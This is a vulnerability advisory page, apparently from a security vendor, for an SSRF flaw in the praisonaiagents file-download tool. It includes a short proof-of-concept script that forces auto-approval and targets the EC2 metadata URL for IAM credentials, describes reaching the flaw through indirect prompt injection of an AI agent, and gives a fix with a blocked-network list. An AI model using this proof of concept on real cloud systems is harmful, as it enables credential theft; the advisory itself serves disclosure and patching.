Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-34954 — praisonaiagents

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-918 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL

Summary

FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.

Details

file_tools.py:259 (source) -> file_tools.py:296 (sink)

```python

# source -- url taken directly from caller, no validation

def download_file(self, url: str, destination: str, ...):

# sink -- unvalidated url passed to httpx with redirect following

with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:

```

PoC

```bash

# tested on: praisonaiagents==1.5.87 (source install)

# install: pip install -e src/praisonai-agents

# start listener: python3 -m http.server 8888

import os

os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'

from praisonaiagents.tools.file_tools import download_file

result = download_file(

url="http://127.0.0.1:8888/ssrf-test",

destination="/tmp/ssrf_out.txt"

)

print(result)

# listener logs: "GET /ssrf-test HTTP/1.1" 404

# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# writes IAM credentials to destination file

```

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow_redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.

Suggested Fix

```python

from urllib.parse import urlparse

import ipaddress

BLOCKED_NETWORKS = [

ipaddress.ip_network("127.0.0.0/8"),

ipaddress.ip_network("169.254.0.0/16"),

ipaddress.ip_network("10.0.0.0/8"),

ipaddress.ip_network("172.16.0.0/12"),

ipaddress.ip_network("192.168.0.0/16"),

]

def _validate_url(url: str) -> None:

parsed = urlparse(url)

if parsed.scheme not in ("http", "https"):

raise ValueError(f"Scheme {parsed.scheme!r} not allowed")

try:

addr = ipaddress.ip_address(parsed.hostname)

for net in BLOCKED_NETWORKS:

if addr in net:

raise ValueError(f"Requests to {addr} are not permitted")

except ValueError as e:

if "does not appear to be" not in str(e):

raise

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-34954 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-34954 is recorded against 1 package.

  • praisonaiagents (fixed in 1.5.95)

Timeline and source

Published on 13 July 2026 and last revised on 24 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

praisonaiagents has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-13
Updated 2026-08-20
Modified 2026-07-24
Fix URL N/A

Affected Packages

Software From version Fixed in
praisonaiagents 1.5.95

Similar Threats

Exploit Protection

Are you running praisonaiagents?

CVE-2026-34954 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-34954 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026